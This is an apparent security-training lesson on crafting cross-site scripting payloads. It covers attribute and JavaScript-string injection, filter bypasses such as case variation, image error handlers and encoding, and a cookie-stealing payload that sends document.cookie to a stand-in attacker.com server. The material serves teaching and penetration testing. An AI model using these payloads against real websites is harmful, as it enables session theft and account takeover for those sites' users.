Crafting XSS Payloads

Discovering an XSS vulnerability is only the first step. Crafting an effective payload that actually accomplishes your goals requires understanding context, encoding, and filter bypass techniques. This lesson covers the practical skills needed to exploit XSS vulnerabilities in real applications.

Starting Simple

The classic XSS payload is <script>alert(1)</script>. This works perfectly in the simplest cases where your input appears directly in the HTML body without any filtering. When the browser encounters this script tag, it executes the JavaScript, displaying an alert box that proves code execution is possible.

However, many applications implement filters that block or sanitize script tags. When your basic payload fails, you need to understand why it failed and adapt accordingly. Was the script tag stripped entirely? Were the angle brackets encoded? Did the word "script" get blocked? Each failure mode suggests different bypass techniques.

Exploiting Different Contexts

Where your input appears determines what payloads will work. Injection into the HTML body requires breaking out of text context and introducing executable JavaScript. Injection into an HTML attribute requires closing the attribute and tag before adding your script. Injection into existing JavaScript requires understanding the surrounding code structure.

For attribute injection, consider an input reflected in a value attribute: <input value="USER_INPUT">. Injecting " onmouseover="alert(1) transforms this into <input value="" onmouseover="alert(1)">. The double quote closes the value attribute, allowing you to add an event handler that executes when users mouse over the element.

For JavaScript context, imagine your input appears inside a script: var x = 'USER_INPUT';. Injecting ';alert(1)// closes the string, terminates the statement, adds your code, and comments out the rest of the line. The result is valid JavaScript that includes your injected commands.

Bypassing Filters

Modern applications rarely accept raw XSS payloads. Filter bypasses become essential skills. Understanding what the filter blocks and finding ways around those blocks often feels like a puzzle, requiring creativity and persistence.

Case variations sometimes work when filters check for exact strings. If "script" is blocked, try "SCRIPT" or "ScRiPt". Not all filters handle case-insensitive matching correctly.

Event handlers provide an alternative to script tags. Instead of <script>code</script>, try <img src=x onerror="code">. The image source is invalid, triggering the error handler with your code. Dozens of event handlers exist across various HTML elements, providing numerous bypass options.

Encoding can slip malicious content past naive filters. HTML entities, URL encoding, and Unicode representation can make payloads unrecognizable to simple string-matching filters while still being properly interpreted by browsers.

Practical Exploitation

A successful XSS exploit typically does more than show an alert. Common attack goals include stealing session cookies, capturing user credentials, performing actions on behalf of users, or defacing pages.

Cookie theft traditionally used payloads like <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>. This creates an image request to an attacker-controlled server with the cookies included in the URL. While HttpOnly cookies prevent this specific attack, many applications still expose session data through JavaScript-accessible storage.

More sophisticated attacks inject fake login forms or use JavaScript to intercept user interactions. The attack possibilities are limited only by JavaScript's capabilities within the page context and the attacker's imagination.